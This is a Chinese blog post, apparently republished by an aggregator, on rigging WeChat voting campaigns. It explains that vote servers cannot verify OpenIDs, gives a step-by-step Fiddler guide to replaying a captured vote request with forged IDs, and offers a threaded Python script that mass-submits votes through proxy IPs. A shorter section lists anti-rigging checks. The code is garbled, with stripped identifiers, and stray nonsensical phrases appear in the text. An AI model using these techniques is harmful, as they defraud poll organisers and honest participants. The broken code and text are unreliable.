臨近年末,家里的微信群又熱鬧起來了,家里幾個親戚正在參加某等級活動的微信投票活動,所以7歲姑姑和8歲阿姨每天都在群里幫忙投票。家人知道我在做IT技術,想給我做一個刷單軟件,自動刷了票。(威廉莎士比亞,坦普林)。

于是我就花了些經(jīng)歷研究了一下這個灰色產(chǎn)業(yè)!

今天就把我最近研究的心得體會給大家分享一下,讓大家了解一下微信刷票軟件的原理與實現(xiàn)!

一、 微信的刷票方式

微信刷票主要有兩種方式,軟件技術刷票和人工水軍刷票。

人工刷票:人工刷票,就是使用投票水軍來刷票。商家熱衷于搞微信投票活動,一些空閑時間多的人士發(fā)現(xiàn)了這其中的商家,以幫助參賽選手投票來獲得傭金。這些人多數(shù)是為兼職投票手投票員,外界一般稱我們?yōu)橥镀彼姟H斯に娝⑵钡脑砭头浅:唵?,就是組建一個微信投票任務群,把投票任務發(fā)到群里面就完成刷票了,就是這么簡單。一個群不夠用,就多組建幾個群就可以了。

目前網(wǎng)上好多刷票團隊,自稱都是人工刷票,其實多數(shù)都是假的,為什么呢?因為你看他的收費標準就知道了投100票價格可能在10元左右,所以一票可能都不到一毛錢,這個還要給水軍們分所以利潤并不高,除非業(yè)務量特別大。所以幾乎都是用刷票軟件刷票。

如果你想判斷你的是人工刷票,你可以讓他把投票的截圖都發(fā)給你,我想他是不會給你的,呵呵,如果真的給你,你的投票價格最少一票要3毛錢以上!

軟件技術刷票:刷票軟件原理多數(shù) 是通過抓包工具分析提交投票時所產(chǎn)的數(shù)據(jù),然后使用腳本程序批量提交數(shù)據(jù)就達到了刷票的目的。其中最大的難題就是如何突破限制,例如ip限制,驗證碼限制,微信登陸授權限制等。這些刷票工具網(wǎng)上也有很多,但是絕大多數(shù)效果都不怎么好,會被平臺限制住。

二、 微信投票活動的漏洞和刷票技術手段

常見漏洞如下:

1、在微信投票的活動中,會有兩種發(fā)起投票的情況,一種是發(fā)起投票的服務器是獨立的,只是借用了微信的投票平臺,在微信平臺進行了投票之后,會有一個投票轉(zhuǎn)發(fā)的操作,將活動中的投票情況轉(zhuǎn)發(fā)給發(fā)起投票的服務器。另一種是直接使用微信的服務器來發(fā)起投票的操作,這種情況則不需要進行投票轉(zhuǎn)發(fā)的操作,投票情況直接在微信服務器上進行控制。

2、在微信投票的活動中需要的是微信賬號來進行的投票,而在微信平臺中有一個關于微信賬號的規(guī)則,那就是每一個加密后的微信賬號都會形成一個OpenID,每個用戶的OpenID在微信平臺上來說都是唯一的。那么當用戶進行投票后,如果是需要將投票轉(zhuǎn)發(fā)給獨立服務器的,微信平臺則會使用POST參數(shù)將包含投票用戶的OpenID的信息轉(zhuǎn)發(fā)給投票服務器,投票服務器在接收到微信平臺發(fā)送過來的投票POST請求之后,就會在自己的服務器通過對比OpenID來確認同一微信賬號的投票次數(shù)。如果不需要轉(zhuǎn)發(fā)給投票服務器的,則直接在微信服務器上確認OpenID的投票情況。

3、 如果是獨立的投票服務器在接收到POST請求時,只能對這個發(fā)送過來的OpenID進行投票次數(shù)的判斷,但是因為無法使用微信服務器的數(shù)據(jù),就無法對這個OpenID進行真實性的驗證,這是微信投票活動的一個很大的漏洞。即便是直接使用微信服務票來進行的投票活動,雖然可以直接驗證OpenID的真實性,但是只需要用技術手段綁定一些OpenID正確的微信賬號來進行投票操作便可以通過這項驗證了。有了這個漏洞就非常便于來使用一些技術手段實現(xiàn)微信刷票的操作。

常見的刷票技術手段:

1、針對微信投票活動無法校驗OpenID真實性的漏洞,可以先使用一個微信賬號進行一次投票操作,利用這次操作來獲取相關的網(wǎng)絡數(shù)據(jù)。這個數(shù)據(jù)中會包含POST請求的參數(shù)以及內(nèi)容。然后通過腳本,比如Fiddler或者Python都可以,來自己構建一個POST的請求,該請求中參數(shù)和內(nèi)容保證與獲取到的真實數(shù)據(jù)一致,然后按照真實OpenID的格式隨機生成OpenID,需要刷多少票數(shù)就進行多少次POST請求,便可以實現(xiàn)簡單的刷票操作了。

2、對于有IP限制的微信投票活動,可以使用CURL來偽造IP地址,這樣就可以制造多個IP來刷票了。

二、 常見的防止刷票方法

1、 只有關注了公眾號才能投票

在服務調(diào)用獲取用戶基礎信息

API接口會返回以下數(shù)據(jù):

當用戶投票且未關注時,我們可根據(jù)subscribe是0還是1判斷有沒有關注,若沒有關注則轉(zhuǎn)至公眾號的二維碼頁面并提示用戶先長按二維碼關注公眾號。此方法的漏洞就是每次投票都要與微信服務器進行交互。

2、 判斷refer和User-Agent

以下為一個request header的部分參數(shù)示例:

Referer為上一個訪問的頁面,所以refer必須要為投票的頁面地址。User-Agent里面必須有關鍵詞MicroMessenger

3、限制客戶端投票次數(shù)

用ip當成同一個ip投票次數(shù)受限制,由于很多時候使用nginx或apache之類的代理服務器,因此直接使用HttpServletRequest的getRemoteAddr()很多時候取得的是代理服務器的ip,而我們要取得的是真實的ip址。下面是一個獲取真實ip的示例代碼

4、當投票量大于閱讀量時就是刷票行為

存儲頁面閱讀量,投票完成后,計算票數(shù)若投票量大于閱讀量時就是刷票行為。

5、在提交表單數(shù)據(jù)的地方使用校驗碼

服務端返回一個校驗碼,在dom初始化的時候頁面使用js加密這個校驗碼,commit的時候提交這個加密的校驗碼,服務端再判斷這個加密碼的校驗碼是否正確。校驗碼設置使用N次后就作廢。

以下為偽代碼

服務端處理:

四、 微信刷票軟件常見的實現(xiàn)方法

1、利用fiddler抓包 實現(xiàn)微信投票(原理是利用OpenID真實性的漏洞)

第一步:首先在電腦上下載微信軟件

一般微信投票都需要關注公眾號才能投票,所以必須用電腦微信打開鏈接進入投票界面 下載好之后,打開微信登錄微信帳號。然后把投票網(wǎng)址復制粘貼發(fā)送到文件傳輸助手,這時先不要打開。

第二步:下載并安裝且打開抓包軟件fiddler

第三步:現(xiàn)在回到微信打開剛才要投票的網(wǎng)址,這時開啟抓包

第四步:通過我們剛才在微信里投票的過程,下邊我們來看下fiddler里的情況

出現(xiàn)了這些數(shù)據(jù),需要對這些數(shù)據(jù)進行分析。找到哪個才是我們投票的數(shù)據(jù)

最后經(jīng)過分析,找到了這些數(shù)據(jù)

Host: t:

Co

Content-Type: application/x-www-form-urlencoded

Origin: n:

Ac

Accept-Encoding: gzip, deflate

Connection: keep-alive

Accept: application/json

User-Agent: Mozilla (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKi (KHTML, like Gecko) Mobile/14D27 MicroMessenger NetType/WIFI Language/zh_CN

Referer: r: /m/2018/hahaha/MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==/?nie=0.674688067616421&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ==&uinfo=0&code=023Eqy001YcsR02oSGYZ0lRK001Eqy0Y

Co

Content-Length: 90

Accept-Language: zh-cn

https:///file_mg/public/qnm/zbs2018/incubation/changeEggProcess

wxid=ox1Mat8wMEsQ9dIoILUpNiESReNo&eggid=MjU5NzAyMDQ1QXlQN0J6UFVYMXNBQUFBQQ%3D%3D&is_pass=1

第五步:現(xiàn)在我們需要對這些數(shù)據(jù)重組,進行一次發(fā)包操作。重新再刷一次票。

我們還是回到fiddler 這次我們需要打開這個

第六步:把我們剛才分析到的數(shù)據(jù)分組填入,填完之后是這樣的。然后我們點擊Execute按鈕。

第七步:我們點擊提交以后,看下軟件返回什么數(shù)據(jù)

第八步:這個使我們所需要的具體信息。但是是亂碼,要怎么應對呢,其實只要看 code:-5就可以了。這樣表示您已經(jīng)孵化過或者投過票了。現(xiàn)在就是我們所需要操作的關鍵點。

第九步:回到我們剛才我們點擊提交的地方。把下列數(shù)據(jù)隨便改一下。但是位數(shù)不要減少也不要增加,再次提交 。

第十步:最后我們看下返回信息

哈哈,刷票成功了?。?!

2、利用Python語言編寫腳本實現(xiàn)微信刷票(突破ip限制的投票方法)

針對那些微信投票只限制ip 來源的方式,我們可以用如下方式進行刷票:

第一步:在網(wǎng)上搜索大量的代理ip ,建立一個代理ip地址表

第二步:用Python編寫一個自動執(zhí)行腳本

代碼如下:

1. #coding=utf-8 2. import urllib2 3. import urllib 4. import re 5. import threading 6. import sys 7. from time import ctime 8. import time 9. rlock = () 10. def vote(proxyIP,i,urls): 11. try: 12. #print "voting...%d..." % i 13. #使用代理IP 14. proxy_support = urllib2.ProxyHandler(proxyIP) 15. opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 16. #定義Opener 17. 18. urllib2.install_opener(opener) 19. #把opener綁定到全局 20. 21. sendt = '投票'.decode('utf-8').encode('gb2312') 22. 23. #設置刷票地址 24. #post數(shù)據(jù)bn 25. values = {} 26. req = urllib2.urlopen(urls) 27. #直接打開這個URL 28. html = req.read() 29. #讀取返回數(shù)據(jù) 30. if ('true'.decode('utf-8').encode('gb2312')): 31. print "投票 [%d] 成功" % i 32. return 1 33. else: 34. print "投票 [%d] 失敗" % i 35. return 0; 36. except Exception: 37. return False 38. 39. if __name__ == "__main__": 40. args = 41. if(len(args) == 3): 42. ipFile = open(args[1]); 43. ipList = i() 44. i() 45. length = range(len(ipList)) 46. threads = [] 47. for i in length: 48. ipLine = ipList[i] 49. 50. ip=i() 51. proxy_ip = {'http': ip} 52. t = (target=vote,args=(proxy_ip,i,args[2])) 53. print "get ",args[2],ip 54. (t) 55. for i in length: 56. threads[i].start(); 57. if i%100: 58. (5) 59. #每100個線程等待 5秒 60. for i in length: 61. threads[i].join() 62. 63. else: 64. print """刷票工具 65. python bru IP文件 Get地址: 66. 67. """

1.《關于網(wǎng)絡投票怎么花錢刷票,你需要知道這些“微信刷票”的簡單實現(xiàn)》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡信息知識,僅代表作者本人觀點,與本網(wǎng)站無關,侵刪請聯(lián)系頁腳下方聯(lián)系方式。

2.《關于網(wǎng)絡投票怎么花錢刷票,你需要知道這些“微信刷票”的簡單實現(xiàn)》僅供讀者參考,本網(wǎng)站未對該內(nèi)容進行證實,對其原創(chuàng)性、真實性、完整性、及時性不作任何保證。

3.文章轉(zhuǎn)載時請保留本站內(nèi)容來源地址,http://f99ss.com/gl/2965586.html